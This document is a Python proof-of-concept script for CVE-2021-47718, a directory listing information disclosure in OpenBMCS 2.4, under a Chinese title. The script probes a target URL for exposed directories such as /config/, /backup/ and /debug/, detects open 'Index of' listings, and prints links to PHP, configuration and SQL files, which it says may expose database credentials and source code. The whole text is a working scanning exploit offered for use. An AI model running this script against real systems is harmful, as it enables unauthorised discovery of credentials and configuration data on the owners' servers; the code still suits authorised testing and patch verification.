CVE-2021-47718 OpenBMCS目录遍历信息泄露漏洞

# CVE-2021-47718 OpenBMCS Information Disclosure PoC # Target: OpenBMCS 2.4 # Vulnerability: Directory listing exposes sensitive files import requests import sys TARGET_PATHS = [ "/debug/", "/php/", "/config/", "/backup/", "/admin/", "/logs/", "/includes/", "/data/" ] def check_vulnerability(base_url): """Check if target is vulnerable to CVE-2021-47718""" print(f"[*] Scanning target: {base_url}") print(f"[*] CVE-2021-47718: OpenBMCS Directory Listing Information Disclosure\n") vulnerable_paths = [] for path in TARGET_PATHS: url = base_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if directory listing is enabled if 'Index of' in response.text or '<title>Index' in response.text: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Directory listing enabled - sensitive files may be exposed\n") vulnerable_paths.append(url) # Try to extract file links lines = response.text.split('\n') for line in lines: if 'href=' in line and '.php' in line: print(f" Found PHP file: {line}") elif 'href=' in line and ('.conf' in line or '.cfg' in line or '.sql' in line): print(f" Found config file: {line}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") if vulnerable_paths: print(f"\n[!] {len(vulnerable_paths)} vulnerable paths found") print("[!] Exposed information may include:") print(" - Database credentials") print(" - Configuration files") print(" - System paths and structure") print(" - Application source code") return True else: print("[-] No vulnerable directory listing found") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/openbmcs") sys.exit(1) target = sys.argv[1] check_vulnerability(target)